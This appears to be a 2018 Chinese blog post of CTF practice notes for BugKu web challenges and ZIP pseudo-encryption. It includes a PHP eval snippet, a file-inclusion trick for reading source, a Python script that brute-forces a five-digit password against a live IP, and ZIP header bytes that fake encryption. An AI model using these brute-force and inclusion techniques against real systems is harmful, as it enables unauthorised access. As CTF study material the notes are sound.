CTF--zip伪加密

刷题

一.BUGKU

  • WEB

1. 变量1

知识点php两个$$是 可变变量,就是一个变量的变量名可以动态的设置和使用
$GLOBALS一个包含了全部变量的全局组合数组。变量的名字就是数组的键

<?php
include "flag.php";                 //包含flag.php这个文件
$a = @$_REQUEST['hello'];     //$a这个变量请求变量hello的值
if(!preg_match('/^\w*$/',$a )){ //正则表达式,匹配字符串,\w表示字符+数字+下划线,*代表有若干个\w字符组成。
    die('ERROR');//不匹配则输出ERROR
}
eval("var_dump($$a);");       //如果匹配输出\$\$a的值
show_source(__FILE__);
?>

2.头等舱

直接burpsuit抓包,看返回包

3.WEB4

给了提示,查看源代码

js代码,加密了,我们自己写个html文件,可以把eval改为alert,就把代码解密弹出了

弹出的代码

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

可以看到就是简单的构造一下password,password=67d709b2b54aa2aa648cf6e87a7114f1提交就可得到flag

4.flag在index里


有一个跳转链接,查看源代码

像是文件包含,用PHP封装协议读取文件


base64解码得

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

5.输入密码查看flag

5位数可以爆破


附爆破脚本

#coding:utf-8
import requests
url='http://120.24.86.145:8002/baopo/?yes'
value=[]
for i in range(0,99999):
    if(len(str(i))<5):
        value.append("0"*(5-len(str(i)))+str(i))
    else :
        value.append(str(i))
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in value:
    data = {'pwd':i}
    print 'trying',i
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    html=content.text
    #print html
    if html != patch:
        print html
    #print content.text.decode('gbk', 'ignore')

zip伪加密

zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包
一个 ZIP 文件由三个部分组成:
压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志
压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
00 00:扩展记录长度
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001
压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度

posted @ 2018-06-05 15:55  晓枫v5  阅读(2376)  评论(0编辑  收藏  举报